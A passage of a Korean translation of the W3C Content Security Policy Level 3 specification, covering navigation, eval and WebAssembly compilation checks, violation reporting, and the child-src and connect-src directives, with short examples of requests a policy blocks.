§ 4.2.4 내비게이션 요청 타입이 Content Security Policy에 의해 차단되어야 하는지 여부는 create navigation params by fetching 알고리즘 중에 호출되고, § 4.2.5 대상의 내비게이션 요청 타입에 대한 응답이 Content Security Policy에 의해 차단되어야 하는지 여부는 attempt to populate the history entry’s document 알고리즘 중에 호출되어 지시어의 내비게이션 검사 및
javascript:
URL에 대한 인라인 검사를 적용합니다. -
§ 4.2.6 전역 객체에 대한 CSP 초기화 실행은 worker 실행 알고리즘 중에 호출됩니다.
-
sandbox 지시어는 CSP 기반 샌드박싱 플래그를 채우는 데 사용됩니다.
4.2.1.
Document
에 대해 CSP 초기화 실행
Document
document가 주어지면, 사용자 에이전트는 document에 대해 CSP를 초기화하기 위해 다음 단계를 수행합니다:
-
각각의 policy에 대해 document의 policy container의 CSP 리스트에서:
-
각각의 directive에 대해 policy에서:
-
directive의 초기화(initialization) 알고리즘을 document에 대해 실행하고, 반환 값이 "
Allowed
"임을 보장한다.
-
-
4.2.2. object의 CSP 리스트 획득
object의 CSP 리스트를 얻으려면:
-
object가
Document
라면, object의 policy container의 CSP 리스트를 반환한다. -
object가
Window
또는WorkerGlobalScope
또는WorkletGlobalScope
라면, environment settings object의 policy container의 CSP 리스트를 반환한다. -
null을 반환한다.
4.2.3. element의 인라인 type 동작이 콘텐츠 보안 정책에 의해 차단되어야 하는지 여부
Element
element, 문자열 type, 문자열 source가 주어졌을 때, 이 알고리즘은 해당 요소가 특정 유형의 인라인
동작(스크립트 실행, 스타일 적용, 이벤트 핸들러 등)을 허용하면 "Allowed
"를 반환하고, 그렇지 않으면 "Blocked
"를 반환한다:
참고: type의 유효 값은 "script
",
"script attribute
", "style
", "style attribute
"이다.
-
단언: element는 null이 아니다.
-
result를 "
Allowed
"로 한다. -
각각의 policy에 대해 element의
Document
의 전역 객체(global object)의 CSP 리스트에서:-
각각의 directive에 대해 policy의 지시어 집합에서:
-
directive의 인라인 검사를 element, type, policy, source에 대해 실행한 결과가 "
Allowed
"면 다음 directive로 넘어간다. -
directive-name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득을 type에 대해 실행한 결과로 한다.
-
그 외의 경우, violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 현재 설정 객체(current settings object)의 전역 객체(global object), policy, directive-name에 대해 실행한 결과로 한다.
-
violation의 리소스(resource)를 "
inline
"으로 설정한다. -
violation의 요소(element)를 element로 설정한다.
-
directive의 값(value)에 "
'report-sample'
"가 포함되어 있으면, violation의 샘플(sample)을 source의 첫 40자를 포함하는 부분 문자열로 설정한다. -
§ 5.5 위반 보고를 violation에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"면 result를 "Blocked
"로 한다.
-
-
-
result를 반환한다.
4.2.4. type의 navigation request가 콘텐츠 보안 정책에 의해 차단되어야 하는지 여부
request navigation request와 문자열
type("form-submission
" 또는 "other
")가 주어졌을 때, 이 알고리즘은 활성 정책이 내비게이션을
차단하면 "Blocked
"를, 그렇지 않으면 "Allowed
"를 반환한다:
-
result를 "
Allowed
"로 한다. -
각각의 policy에 대해 navigation request의 policy container의 CSP 리스트에서:
-
각각의 directive에 대해 policy에서:
-
directive의 내비게이션 전 검사(pre-navigation check)를 navigation request, type, policy에 대해 실행한 결과가 "
Allowed
"이면 다음 directive로 넘어간다. -
그 외의 경우, violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 navigation request의 client의 전역 객체(global object), policy, directive의 이름(name)에 대해 실행한 결과로 한다.
-
violation의 리소스(resource)를 navigation request의 URL로 설정한다.
-
§ 5.5 위반 보고를 violation에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"면 result를 "Blocked
"로 한다.
-
-
-
result가 "
Allowed
"이고, navigation request의 current URL의 scheme이javascript
이면:-
각각의 policy에 대해 navigation request의 policy container의 CSP 리스트에서:
-
각각의 directive에 대해 policy에서:
-
directive-name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득을 "
navigation
"에 대해 실행한 결과로 한다. -
directive의 인라인 검사를 null, "
navigation
", navigation request의 current URL에 대해 실행한 결과가 "Allowed
"이면 다음 directive로 넘어간다. -
그 외의 경우, violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 navigation request의 client의 전역 객체(global object), policy, directive-name에 대해 실행한 결과로 한다.
-
violation의 리소스(resource)를 "
inline
"으로 설정한다. -
§ 5.5 위반 보고를 violation에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"면 result를 "Blocked
"로 한다.
-
-
-
-
result를 반환한다.
4.2.5. target의 type에 대한 navigation request의 navigation response가 콘텐츠 보안 정책에 의해 차단되어야 하는지 여부
request navigation request, response
navigation
response, CSP 리스트
response CSP list, 문자열 type("form-submission
" 또는
"other
"), navigable target이 주어졌을 때, 이 알고리즘은 활성 정책이 내비게이션을 차단하면
"Blocked
", 그렇지 않으면 "Allowed
"를 반환한다:
-
result를 "
Allowed
"로 한다. -
각각의 policy에 대해 response CSP list에서:
참고: 일부 지시어(frame-ancestors 등)는 response의 콘텐츠 보안 정책이 내비게이션에 작용할 수 있도록 한다.
-
각각의 directive에 대해 policy에서:
-
directive의 내비게이션 응답 검사(navigation response check)를 navigation request, type, navigation response, target, "
response
", policy에 대해 실행한 결과가 "Allowed
"이면 다음 directive로 넘어간다. -
그 외의 경우, violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 null, policy, directive의 이름(name)에 대해 실행한 결과로 한다.
참고: 전역 객체는 존재하지 않으므로 null을 사용한다. 아직 내비게이션이 처리되어 Document가 생성되지 않았기 때문이다.
-
violation의 리소스(resource)를 navigation response의 URL로 설정한다.
-
§ 5.5 위반 보고를 violation에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"면 result를 "Blocked
"로 한다.
-
-
-
각각의 policy에 대해 navigation request의 policy container의 CSP 리스트에서:
참고: navigation request 컨텍스트의 일부 지시어(frame-ancestors 등)는 내비게이션에 대해 response가 필요하다.
-
각각의 directive에 대해 policy에서:
-
directive의 내비게이션 응답 검사(navigation response check)를 navigation request, type, navigation response, target, "
source
", policy에 대해 실행한 결과가 "Allowed
"이면 다음 directive로 넘어간다. -
그 외의 경우, violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 navigation request의 client의 전역 객체(global object), policy, directive의 이름(name)에 대해 실행한 결과로 한다.
-
violation의 리소스(resource)를 navigation request의 URL로 설정한다.
-
§ 5.5 위반 보고를 violation에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"면 result를 "Blocked
"로 한다.
-
-
-
result를 반환한다.
4.2.6.
전역 객체에 대해 CSP
초기화 실행
전역 객체(global object) global이 주어졌을 때, 사용자 에이전트는
global에 대해 CSP를 초기화하기 위해 다음 단계를 수행합니다. 이 알고리즘은 global이 허용되면
"Allowed
"를, 그렇지 않으면 "Blocked
"를 반환합니다:
-
result를 "
Allowed
"로 한다. -
각각의 policy에 대해 global의 CSP 리스트에서:
-
각각의 directive에 대해 policy에서:
-
directive의 초기화(initialization) 알고리즘을 global에 대해 실행한다. 반환 값이 "
Blocked
"이면 result를 "Blocked
"로 한다.
-
-
-
result를 반환한다.
4.3. WebRTC와의 통합
administratively-prohibited 알고리즘은 § 4.3.1 global에 대해 RTC 연결 차단 여부를 호출하며, 그 결과가
"Blocked
"이면 모든 후보를 금지합니다.
4.3.1. global에 대해 RTC 연결을 차단해야 하는지 여부
전역 객체(global object) global이 주어졌을 때, 이 알고리즘은
global에 대해 활성 정책이 RTC 연결을 차단하면 "Blocked
", 그렇지 않으면 "Allowed
"를 반환합니다:
-
result를 "
Allowed
"로 한다. -
각각의 policy에 대해 global의 CSP 리스트에서:
-
각각의 directive에 대해 policy에서:
-
directive의 webrtc 사전 연결 검사를 실행한 결과가 "
Allowed
"이면 continue한다. -
그 외의 경우, violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 global, policy, directive의 이름(name)에 대해 실행한 결과로 한다.
-
violation의 리소스(resource)를 null로 설정한다.
-
§ 5.5 위반 보고를 violation에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"면 result를 "Blocked
"로 한다.
-
-
-
result를 반환한다.
4.4. ECMAScript와의 통합
ECMAScript는 HostEnsureCanCompileStrings()
추상 연산을 정의하며, 호스트 환경이 문자열을 ECMAScript 코드로 컴파일하는 것을 차단할 수 있습니다. 이 문서는 관련 CSP 리스트를 검사하여 컴파일을 차단할지 결정하는
해당 추상 연산의 구현을 정의합니다.
4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)
realm
realm, 문자열 리스트 parameterStrings, 문자열 bodyString, 문자열
codeString, 열거형(compilationType),
ECMAScript 언어 값 리스트(parameterArgs), ECMAScript 언어 값(bodyArg)이 주어졌을 때, 이 알고리즘은 문자열
컴파일이 허용되면 정상 반환하고, 허용되지 않으면 "EvalError
"를 throw합니다:
-
compilationType이 "
TIMER
"이면:-
sourceString을 codeString으로 한다.
-
-
그 외의 경우:
-
compilationSink를 compilationType이 "
FUNCTION
"이면 "Function", 아니면 "eval"로 한다. -
isTrusted를 bodyArg가 구현(implements)
TrustedScript
면true
, 아니면false
로 한다. -
isTrusted가
true
이면:-
bodyString이 bodyArg의 data와 다르면 isTrusted를
false
로 설정한다.
-
-
isTrusted가
true
이면:-
단언: parameterArgs의 [list/size=]가 [parameterStrings]의 크기(size)와 같다.
-
각각의 index에 대해 범위(range) 0부터 |parameterArgs| [list/size=]까지:
-
arg를 parameterArgs[index]로 한다.
-
arg가 구현(implements)
TrustedScript
면:-
parameterStrings[index]가 arg의 data와 다르면 isTrusted를
false
로 한다.
-
-
그 외의 경우 isTrusted를
false
로 한다.
-
-
-
sourceToValidate를 new
TrustedScript
객체로, realm에서 생성하고 data는 isTrusted가true
면 codeString이고, 아니면 codeString으로 한다. -
sourceString을 Get Trusted Type compliant string 알고리즘을
TrustedScript
, realm, sourceToValidate, compilationSink,'script'
에 대해 실행한 결과로 한다. -
알고리즘에서 오류가 throw되면
EvalError
를 throw한다. -
sourceString이 codeString과 다르면
EvalError
를 throw한다.
-
-
result를 "
Allowed
"로 한다. -
global을 realm의 전역 객체(global object)로 한다.
-
각각의 policy에 대해 global의 CSP 리스트에서:
-
source-list를 null로 한다.
-
policy에 지시어(directive)가 있고, 이름(name)이 "
script-src
"이면 source-list를 해당 지시어의 값(value)으로 한다.그 외에 policy에 지시어(directive)가 있고, 이름(name)이 "
default-src
"이면 source-list를 해당 지시어의 값(value)으로 한다. -
source-list가 null이 아니면:
-
trustedTypesRequired를 Does sink type require trusted types?를 realm,
'script'
,false
에 대해 실행한 결과로 한다. -
trustedTypesRequired가
true
이고 source-list에 소스 식(source expression)이 있고, ASCII 대소문자 구분 없이 일치하는 문자열이 "'trusted-types-eval'
"이면 이하 단계는 건너뛴다. -
source-list에 소스 식(source expression)이 있고, ASCII 대소문자 구분 없이 일치하는 문자열이 "
'unsafe-eval'
"이면 이하 단계는 건너뛴다. -
violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 global, policy, "
script-src
"에 대해 실행한 결과로 한다. -
violation의 리소스(resource)를 "
eval
"로 한다. -
source-list에 "
'report-sample'
"가 포함되어 있으면, violation의 샘플(sample)을 sourceString의 첫 40자를 포함하는 부분 문자열로 한다. -
§ 5.5 위반 보고를 violation에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"이면 result를 "Blocked
"로 한다.
-
-
-
result가 "
Blocked
"면EvalError
예외를 throw한다.
4.5. WebAssembly와의 통합
WebAssembly는 HostEnsureCanCompileWasmBytes()
추상 연산을 정의하며, 호스트 환경이 WebAssembly 소스를 실행 가능한 코드로 컴파일하는 것을 차단할 수 있습니다. 이 문서는 관련 CSP 리스트를 검사하여 해당 컴파일을 차단할지
결정하는 해당 추상 연산의 구현을 정의합니다.
4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm
realm
realm이 주어졌을 때, 컴파일이 허용되면 정상 반환하고, 허용되지 않으면 WebAssembly.CompileError
를
throw한다:
-
global을 realm의 전역 객체(global object)로 한다.
-
result를 "
Allowed
"로 한다. -
각각의 policy에 대해 global의 CSP 리스트에서:
-
source-list를 null로 한다.
-
policy에 지시어(directive)가 있고, 이름(name)이 "
script-src
"이면 source-list를 해당 지시어의 값(value)으로 한다.그 외에 policy에 지시어(directive)가 있고, 이름(name)이 "
default-src
"이면 source-list를 해당 지시어의 값(value)으로 한다. -
source-list가 null이 아니고, 소스 식(source expression) 중 ASCII 대소문자 구분 없이 일치하는 "
'unsafe-eval'
"가 없고, 소스 식(source expression) 중 ASCII 대소문자 구분 없이 일치하는 "'wasm-unsafe-eval'
"가 없으면:-
violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 global, policy, "
script-src
"에 대해 실행한 결과로 한다. -
violation의 리소스(resource)를 "
wasm-eval
"로 한다. -
§ 5.5 위반 보고를 violation에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"이면 result를 "Blocked
"로 한다.
-
-
-
result가 "
Blocked
"면WebAssembly.CompileError
예외를 throw한다.
5. 보고 및 통지
하나 이상의 정책(policy)의 지시어가 위반될 경우, csp 위반 보고(csp violation report)가 생성되어 정책에 연결된 보고 엔드포인트로 전송될 수 있습니다.
csp 위반 보고는 report type "csp-violation"을 가집니다.
csp 위반 보고는 ReportingObserver에게 노출됩니다.
dictionary :
CSPViolationReportBody ReportBody {USVString ;
documentURL USVString ?;
referrer USVString ?;
blockedURL DOMString ;
effectiveDirective DOMString ;
originalPolicy USVString ?;
sourceFile DOMString ?;
sample SecurityPolicyViolationEventDisposition ;
disposition unsigned short ;
statusCode unsigned long ?;
lineNumber unsigned long ?; };
columnNumber
스크립트류(script-like) destination에 영향을 주는 지시어가 report-sha256
,
report-sha384
, report-sha512
값을 갖고,
request가 script-like
destination으로 가져오면, csp 해시 보고(csp hash report)가 생성되어 정책에 연결된 보고 엔드포인트로 전송됩니다.
csp 해시 보고는 report type "csp-hash"를 가집니다.
csp 해시 보고는 ReportingObserver에게 노출되지 않습니다.
csp 해시 보고 body(csp hash report body)는 다음 필드를 가지는 구조체(struct)입니다: documentURL, subresourceURL, hash, destination, type.
Reporting-Endpoints: hashes-endpoint="https://example.com/reports" Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint
그리고 문서가 "main.js" 스크립트를 로드하면, 다음과 유사한 보고가 전송됩니다:
POST /reports HTTP / 1.1 Host : example.com ... Content-Type: application/reports+json [{ "type": "csp-hash", "age": 12, "url": "https://example.com/", "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0", "body": { "document_url": "https://example.com/", "subresource_url": "https://example.com/main.js", "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281", "type": "subresource", "destination": "script" } }]
5.1. 위반 DOM 이벤트
enum {
SecurityPolicyViolationEventDisposition ,
"enforce" }; [
"report" Exposed =(Window ,Worker )]interface :
SecurityPolicyViolationEvent Event {(
constructor DOMString ,
type optional SecurityPolicyViolationEventInit = {});
eventInitDict readonly attribute USVString ;
documentURI readonly attribute USVString ;
referrer readonly attribute USVString ;
blockedURI readonly attribute DOMString ;
effectiveDirective readonly attribute DOMString ; // historical alias of effectiveDirective
violatedDirective readonly attribute DOMString ;
originalPolicy readonly attribute USVString ;
sourceFile readonly attribute DOMString ;
sample readonly attribute SecurityPolicyViolationEventDisposition ;
disposition readonly attribute unsigned short ;
statusCode readonly attribute unsigned long ;
lineNumber readonly attribute unsigned long ; };
columnNumber dictionary :
SecurityPolicyViolationEventInit EventInit {USVString = "";
documentURI USVString = "";
referrer USVString = "";
blockedURI DOMString = "";
violatedDirective DOMString = "";
effectiveDirective DOMString = "";
originalPolicy USVString = "";
sourceFile DOMString = "";
sample SecurityPolicyViolationEventDisposition = "enforce";
disposition unsigned short = 0;
statusCode unsigned long = 0;
lineNumber unsigned long = 0; };
columnNumber
5.2.
위반의 resource에 대한 blockedURI
획득
위반의 resource resource가 주어졌을 때, 이 알고리즘은 위반 보고의 blocked URI 필드로 사용할 문자열(string)을 반환한다.
-
단언: resource는 URL 또는 문자열(string)이다.
-
resource가 URL이면, § 5.4 보고용 URL 변환을 resource에 대해 실행한 결과를 반환한다.
-
resource를 반환한다.
5.3. violation의 폐기된 직렬화 획득
violation violation이
주어졌을 때, 이 알고리즘은 해당 위반을 JSON 텍스트 문자열로 직렬화하여, 폐기된 report-uri
지시어에 연결된 보고 엔드포인트로 제출할 수 있도록 한다.
-
body를 다음 키로 초기화된 map으로 한다:
- "
document-uri
" -
§ 5.4 보고용 URL 변환을 violation의 url에 대해 실행한 결과
- "
referrer
" -
§ 5.4 보고용 URL 변환을 violation의 referrer에 대해 실행한 결과
- "
blocked-uri
" -
§ 5.2 위반의 resource에 대한 blockedURI 획득을 violation의 resource에 대해 실행한 결과
- "
effective-directive
" -
violation의 유효 지시어(effective directive)
- "
violated-directive
" -
violation의 유효 지시어(effective directive)
- "
original-policy
" -
violation의 policy의 직렬화(serialization)
- "
disposition
" -
violation의 policy의 상태(disposition)
- "
status-code
" -
violation의 상태(status)
- "
script-sample
" -
violation의 샘플(sample)
참고:
script-sample
이름은 이 기능의 초기 버전과의 호환성을 위해 선택되었으며, Firefox의 CSP 최초 구현부터 사용되고 있습니다. 이름과 달리 이 필드는 스타일시트 등 스크립트가 아닌 위반에 대해서도 샘플을 포함합니다.SecurityPolicyViolationEvent
객체 및 새로운report-to
지시어로 생성된 보고서에서는 보다 포괄적인 명칭sample
을 사용합니다.
- "
-
violation의 소스 파일(source file)이 null이 아니면:
-
body["
source-file
"]를 § 5.4 보고용 URL 변환을 violation의 소스 파일(source file)에 대해 실행한 결과로 설정한다. -
body["
line-number
"]를 violation의 행 번호(line number)로 설정한다. -
body["
column-number
"]를 violation의 열 번호(column number)로 설정한다.
-
-
단언: body["
blocked-uri
"]가 "inline
"이 아니면, body["sample
"]는 빈 문자열이다. -
serialize an infra value to JSON bytes를 «[ "csp-report" → body ]»에 대해 실행한 결과를 반환한다.
5.4. 보고용 URL 변환
URL url이 주어졌을 때, 이 알고리즘은 위반 보고에 사용할 URL을 나타내는 문자열을 반환한다:-
url의 scheme이 HTTP(S) scheme가 아니면, url의 scheme를 반환한다.
-
url의 fragment를 빈 문자열로 설정한다.
-
url의 username을 빈 문자열로 설정한다.
-
url의 password를 빈 문자열로 설정한다.
-
url에 URL serializer를 실행한 결과를 반환한다.
5.5. violation 보고
violation violation이
주어졌을 때, 이 알고리즘은 해당 위반을 violation의 policy에 지정된 엔드포인트로 보고하고, violation의 element 또는
violation의 전역 객체(global object)에 SecurityPolicyViolationEvent
를
발생시킨다. 아래에 설명된 대로 처리된다:
-
global을 violation의 전역 객체(global object)로 한다.
-
target을 violation의 요소(element)로 한다.
-
태스크를 큐에 추가하여 다음 단계를 실행한다:
참고: 여기서 "태스크를 큐에 추가"하는 이유는 이벤트 타겟팅과 디스패치가 자바스크립트가 위반을 일으킨 태스크를 모두 실행한 후(이 과정에서 DOM이 조작될 수도 있음)에 일어나도록 보장하기 위함입니다.
-
target이 null이 아니고, global이
Window
객체이며, target의 shadow-including root가 global의 연결된Document
와 다르면, target을 null로 설정한다.참고: 이는 이벤트가 문서에 연결된 요소에서만 발생하도록 보장합니다. 요소가 해당 문서에 연결되어 있지 않은 경우, 이벤트는 요소가 아니라 문서에서 발생하여 위반이 문서 리스너에 노출되도록 합니다.
-
target이 null이면:
-
target을 violation의 전역 객체(global object)로 설정한다.
-
target이
Window
이면, target을 target의 연결된Document
로 설정한다.
-
-
target이 EventTarget을 구현하면, 이벤트를 발생시킨다. 이름은
securitypolicyviolation
이며,SecurityPolicyViolationEvent
인터페이스를 사용하고, target에서 다음 속성값으로 초기화한다:documentURI
-
§ 5.4 보고용 URL 변환을 violation의 url에 대해 실행한 결과
referrer
-
§ 5.4 보고용 URL 변환을 violation의 referrer에 대해 실행한 결과
blockedURI
-
§ 5.2 위반의 resource에 대한 blockedURI 획득을 violation의 resource에 대해 실행한 결과
effectiveDirective
-
violation의 유효 지시어(effective directive)
violatedDirective
-
violation의 유효 지시어(effective directive)
originalPolicy
-
violation의 policy의 직렬화(serialization)
disposition
-
violation의 상태(disposition)
sourceFile
-
§ 5.4 보고용 URL 변환을 violation의 source file에 대해 실행한 결과(단, violation의 source file이 null이 아니면), 그렇지 않으면 null
statusCode
-
violation의 상태(status)
lineNumber
-
violation의 행 번호(line number)
columnNumber
-
violation의 열 번호(column number)
sample
-
violation의 샘플(sample)
bubbles
-
true
composed
-
true
참고:
composed
속성을 true로 설정하면 이벤트가 shadow tree로 들어가거나 나올 때 캡처될 수 있습니다.target
등은 메인 트리에 대해 자동으로 올바르게 범위가 지정됩니다.참고:
effectiveDirective
와violatedDirective
는 동일한 값입니다. 이는 하위 호환성을 위해 의도적으로 그렇게 설계되었습니다. -
violation의 policy의 지시어 집합에 "
report-uri
"라는 지시어가 있으면:-
violation의 policy의 지시어 집합에 "
report-to
"라는 지시어가 있으면, 이하 하위 단계를 건너뛴다. -
각각의 token에 대해 directive의 값(value)에서:
-
endpoint를 URL 파서를 token을 입력, violation의 url을 base URL로 실행한 결과로 한다.
-
endpoint가 유효한 URL이 아니면 이하 하위 단계를 건너뛴다.
-
request를 새로운 request로, 다음과 같이 초기화한다:
- method
-
"
POST
" - url
-
endpoint
- origin
-
violation의 전역 객체(global object)의 관련 설정 객체(relevant settings object)의 origin
- traversable for user prompts
-
"
no-traversable
" - client
-
violation의 전역 객체(global object)의 관련 설정 객체(relevant settings object)
- destination
-
"
report
" - initiator
-
""
- credentials mode
-
"
same-origin
" - keepalive
-
"
true
" - header list
-
헤더 리스트에 "Content-Type" 이름과 "application/csp-report" 값을 가진 헤더를 하나 포함한다.
- body
-
§ 5.3 폐기된 violation 직렬화 획득을 violation에 대해 실행한 결과
- redirect mode
-
"
error
"
참고: request의 mode는 기본적으로 "no-cors"이며, 응답은 완전히 무시됩니다.
-
Fetch request. 결과는 무시됩니다.
-
참고: 이 동작은 모두 폐기된 것으로 간주해야 합니다. 위반 건마다 단일 요청을 보내는데, 확장성이 좋지 않습니다. 사용자 에이전트에서 이 동작을 제거할 수 있게 되면 즉시 제거될 예정입니다.
참고:
report-uri
는report-to
가 없을 때만 작동합니다. 즉,report-to
가 있으면report-uri
를 덮어써서, 새로운 메커니즘을 지원하지 않는 브라우저와의 하위 호환성을 제공합니다. -
-
violation의 policy의 지시어 집합에 "
report-to
"라는 지시어가 있으면:-
body를 새로운
CSPViolationReportBody
로, 다음과 같이 초기화한다:documentURL
-
§ 5.4 보고용 URL 변환을 violation의 url에 대해 실행한 결과
referrer
-
§ 5.4 보고용 URL 변환을 violation의 referrer에 대해 실행한 결과
blockedURL
-
§ 5.2 위반의 resource에 대한 blockedURI 획득을 violation의 resource에 대해 실행한 결과
effectiveDirective
-
violation의 유효 지시어(effective directive)
originalPolicy
-
violation의 policy의 직렬화(serialization)
sourceFile
-
§ 5.4 보고용 URL 변환을 violation의 source file에 대해 실행한 결과(단, violation의 source file이 null이 아니면), 그렇지 않으면 null
sample
-
violation의 샘플(sample)
disposition
-
violation의 상태(disposition)
statusCode
-
violation의 상태(status)
lineNumber
-
violation의 행 번호(line number)(violation의 source file이 null이 아니면), 그렇지 않으면 null
columnNumber
-
violation의 열 번호(column number)(violation의 source file이 null이 아니면), 그렇지 않으면 null
-
settings object를 violation의 전역 객체(global object)의 관련 설정 객체(relevant settings object)로 한다.
-
Generate and queue a report를 다음 인자로 실행한다:
- context
-
settings object
- type
-
"csp-violation"
- destination
-
directive의 값(value)
- data
-
body
-
-
6. 콘텐츠 보안 정책 지시어
이 현행 표준은 개발자가 사이트 동작의 특정 측면을 제어할 수 있도록 다양한 지시어 유형을 정의합니다. 본 문서는 리소스 패칭을 관리하는 지시어(§ 6.1 패치 지시어), 문서의 상태를 관리하는 지시어(§ 6.3 문서 지시어), 내비게이션을 관리하는 지시어(§ 6.4 내비게이션 지시어), 그리고 보고를 관리하는 지시어(§ 6.5 보고 지시어)를 정의합니다. 이러한 지시어들은 콘텐츠 보안 정책의 핵심을 이룹니다. 기타 지시어는 부가 문서에서 모듈형으로 정의됩니다(예시는 § 6.6 다른 문서에 정의된 지시어 참고).
교차 사이트 스크립팅 공격 위험을 완화하기 위해, 웹 개발자는 스크립트 및 플러그인의 소스를 제한하는 지시어를 반드시 포함해야 합니다. 다음과 같이 할 수 있습니다:
-
script-src 와 object-src 지시어 모두를 포함하거나,
-
default-src 지시어를 포함
어느 경우든 개발자는 정책에
'unsafe-inline'
또는 data:
를 유효 소스로
포함하지 않아야 합니다. 둘 다 문서 내에 직접 코드를 포함할 수 있게 하므로 XSS 공격을 허용할 수 있으며, 완전히 피하는 것이 좋습니다.
6.1. 패치 지시어
패치 지시어(fetch directives)는 특정 리소스 유형을 어디서 불러올 수 있는지 제어합니다. 예를 들어 script-src는 신뢰할 수 있는 스크립트 소스만 페이지에서 실행되도록 허용할 수 있고, font-src는 웹 폰트 소스를 제어합니다.
6.1.1.
child-src
child-src
지시어는 자식 내비게이션(예:
iframe
및
frame
내비게이션) 및 Worker 실행 컨텍스트 생성을 제어합니다. 지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:
directive-name = "child-src" directive-value = serialized-source-list
이 지시어는 프레임이나 워커를 채우는 요청(request)을 제어합니다. 더 공식적으로는, 다음 범주 중 하나에 해당하는 요청(request)에 적용됩니다:
-
destination이 "
frame
", "iframe
", "object
", "embed
" 중 하나인 경우 -
destination이 "
serviceworker
", "sharedworker
", "worker
" 중 하나인 경우(worker 실행 알고리즘에 입력됨:ServiceWorker
,SharedWorker
,Worker
각각)
Content-Security-Policy: child-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 child-src
의 소스 리스트와 일치하지 않기 때문입니다:
< iframe src = "https://example.org" ></ iframe > < script > var blockedWorker= new Worker( "data:application/javascript,..." ); </ script >
6.1.1.1.
child-src
사전 요청 검사
이 지시어의 사전 요청 검사(pre-request check)는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
child-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
name인 지시어의 사전 요청 검사(pre-request check)를 request, policy에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.
6.1.1.2.
child-src
사후 요청 검사
이 지시어의 사후 요청 검사(post-request check)는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
child-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
name인 지시어의 사후 요청 검사(post-request check)를 request, response, policy에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.
6.1.2.
connect-src
connect-src 지시어는 스크립트 인터페이스로 불러올 수 있는 URL을 제한합니다. 지시어의 이름과 값에 대한 문법은 다음과 같습니다:
directive-name = "connect-src" directive-value = serialized-source-list
이 지시어는 다른 오리진과 데이터 송수신을 하는 요청(request)을 제어합니다. fetch()
, [XHR], [EVENTSOURCE],
[BEACON] 등과
a
요소의
ping
등도 포함됩니다.
또한 WebSocket [WEBSOCKETS] 연결도 제어합니다(패치에 포함되지 않지만).
EventSource
는 서버와 지속적인 HTTP 연결을 유지해 푸시
알림을 받고,
WebSockets
는 브라우저와 서버 간 양방향 통신 채널을 개설하며,
XMLHttpRequest
는 임의의 HTTP 요청을 보낼 수 있습니다. 이는 유용한 기능을 제공하지만 동시에 데이터 탈취의 경로가 될 수 있습니다.
connect-src
지시어를 사용하면 이러한 연결이 신뢰하는 오리진으로만 열리도록 보장할 수 있습니다. 이 지시어에 대해 소스 식 리스트를 정의한 정책을
보내는 것은 간단합니다. 예를 들어, https://example.com
으로만 연결을 제한하려면 다음 헤더를 보냅니다:
Content-Security-Policy: connect-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 connect-src
의 소스 리스트와 일치하지 않기 때문입니다:
< a ping = "https://example.org" > ...< script > var xhr= new XMLHttpRequest(); xhr. open( 'GET' , 'https://example.org/' ); xhr. send(); var ws= new WebSocket( "wss://example.org/" ); var es= new EventSource( "https://example.org/" ); navigator. sendBeacon( "https://example.org/" , { ... }); </ script >
6.1.2.1.
connect-src
사전 요청 검사
이 지시어의 사전 요청 검사(pre-request check)는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
connect-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.2.2.
connect-src
사후 요청 검사
이 지시어의 사후 요청 검사(post-request check)는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
connect-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
